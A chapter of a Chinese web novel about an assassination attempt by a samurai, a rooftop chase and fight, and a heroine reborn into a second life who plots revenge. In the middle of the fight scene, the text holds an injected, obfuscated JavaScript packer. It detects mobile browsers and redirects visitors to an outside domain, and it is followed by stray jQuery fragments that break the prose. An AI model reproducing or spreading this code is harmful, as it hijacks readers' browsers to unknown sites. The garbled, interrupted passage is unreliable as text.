紫苏九月 作品
96. 遇刺(第2页)
刀是武士的魂,必须时刻保持干净,灵魂方能不朽。
“小小礼物,不成敬意。”收刀入鞘的铮鸣截断喘息。
武士戴上斗笠,留下一句美好祝词:
“愿大人长命百岁。”
殷潜涣散的瞳孔里,最后映着武士扭曲的鬼影,终是无力地闭上了眼。
雨声愈发清晰,混杂着小厮的尖叫,震天动地,“来人啊!老爷——老爷他——”
厅中众人面面相觑,随即齐齐站起,殷夫人脸色惨白如纸,跌跌撞撞朝书房奔去。
萧染与秦欢对视一眼,见秦欢轻轻点头,他扔下手中的糕点,转身掠出门外,脚步快得只剩一道风影。
雨下得愈发急了,细密的水珠织成一张帘幕,将街巷笼罩在朦胧的湿雾中。
萧染足尖点过青瓦,身形在雨帘中掠出残影。拐过飞檐时,果然瞧见一位戴着斗笠的武士,踩着青石板上的水洼徐行。
萧染眯起细长的眼眸,喃喃自语:“胆子真大啊,居然敢在太岁头上动土。”
马鞭缠上腕骨又倏然绷直,鞭梢“劈啪”一下撕开雨幕,裂响声惊得武士猛然转身。
斗笠扬起的刹那,萧染已如鹞子翻身扑下,乌金鞭化作一道黑影直取咽喉。
武士旋身抽刀快过雨珠坠地,寒刃一闪截住长鞭,金属碰撞迸出火星。
萧染借力荡开半步,鞭影忽如毒蛇昂首,直噬对方面门。
武士足跟踏碎瓦片,反手一刀直取萧染腰侧,带着凌厉风声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902865|146123||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
萧染险险避开致命一击,回手长鞭绞住刀身发力回扯,试图夺刀。
岂料武士双手一松,顺势让刀脱手。刀在空中飞,他在地上跑。武士凌空而起,瞬息夺回刀柄,反手劈出一道半月银芒。
刀锋斜斜掠过颈侧,萧染鞭尾一甩,毒龙般游向武士手腕。
武士冷哼一声,手腕微抖,脚下踉跄,似是失了平衡。
萧染眼神一亮,抓住机会反击。
谁知武士竟虚晃一招,靴尖勾起半片残瓦,呼啸掷向萧染的面门。
萧染连忙挥鞭挡开瓦片,间隙武士借着反震力倒翻上墙。
待萧染回过神,武士沿着墙头小步奔跑,转瞬没入织雨巷陌。
萧染脸色铁青,低声骂道:“混账东西,竟敢耍老子。”
等到萧染带着满身怒气,脚步重重踏入殷府时,府内已是一片悲戚景象。
殷夫人伏在床边,泣不成声:“好好的,怎就遭贼人刺伤?这是要我的命啊!”
别看苏夫人平日里张扬跋扈,哥哥是她全部的依靠。此时她如惊弓之鸟,整个人软靠在床柱,丹凤眼里满是惊惧与无助。
秦欢半跪在床前,仔细地检查殷潜的伤口。
伤势极为严重,肋差深深刺入左侧肋骨下方,伤口边缘整齐,刀刃稍微上翻,一字状横拉了半寸有余——这是倭国武士惯用的“切腹”手法。
所幸对方未将刀势拉得更宽,否则殷潜早已毙命。
他迅速从药箱中取出清创和缝合工具,先用药液清理伤口,再以针线缝合,敷上止血药粉,最后以纱布包扎整齐。
待处理完毕,秦欢缓缓起身,长舒了一口气,额头渗满了汗珠。
苏绾静静看着,淡然道:“这倒未必是坏事。”
秦欢明显被惊到了,抬眸狐疑地望向苏绾。
苏绾神秘道:“很快你就知道了。”
上一世,温念出差杭州,监督贡茶税收之时,趁机勾结海寇,用双倍漕运分红作饵,诱使倭寇单方面解除与殷潜的合约。
倭寇为了讨好温念,将旧日交易记录、篡改文书等事宜全部交给他。而温念霸占漕运税收,所得银钱,一半奉送阁老,另一半中饱私囊。
殷潜忙前忙后打点,未捞得半点油水,一气之下告上朝廷,却被温念反手一个栽赃嫁祸,呈交了殷潜与倭寇交易罪证,导致殷潜官败落狱。
殷家被温念一招“吃里扒外”彻底打垮,从此再无起色。而那些倭寇,温念用完了,再也没想起来过,最后全部沦为沈恪刀下鬼。
往事如烟。
上一世苏绾曾努力忘却的回忆,如今却慢慢地浮出水面。她将这些重要信息搜罗梳理,结合这半年来偷偷阅读的兵法兵书,竟然理出了一条自己的计谋。
她将此计称之为:借刀杀人。
苏绾抚过袖口暗纹,纠缠的银丝莲花,正似她亲手织就的罗网。
今夜过后,无论是殷潜还是倭寇,都不过是网中待收的鱼。
“我的计谋怎么样?”苏绾仰起粉脸,湿冷的风顺着门缝吹向颈后,像谁呵了口凉气。
烛火劈啪爆了个灯花,摇曳光影在对面聚成一道玄色人影,她仿佛听见男人低低地笑着,凤眸在她的脸颊上卷了卷。
“不错,有本将军的遗风。”她以精湛的口技模仿着男人的语调。
她将烛台向自己方向挪了挪,眸中映出两簇金砂,欢喜道:“也不看看什么样的徒弟,我可是活了两世的奇女子哦。”
“你才哪到哪啊!”苏绾用指甲掐灭一缕将散的青烟,指腹按在滚烫的蜡堆,仿佛被那个家伙隔着火光戳她额头,“跟本将军比,还差得远呢。”
她对着凝固的蜡湖娇嗔道:“差得远,那你倒是……”喉咙里涌上了什么东西。
活过来教教我嘛——
最后一粒火星熄灭时,对面影子化作雾气。苏绾数着雨滴,等它们敲完第一百五十五声,那是他离开她的天数。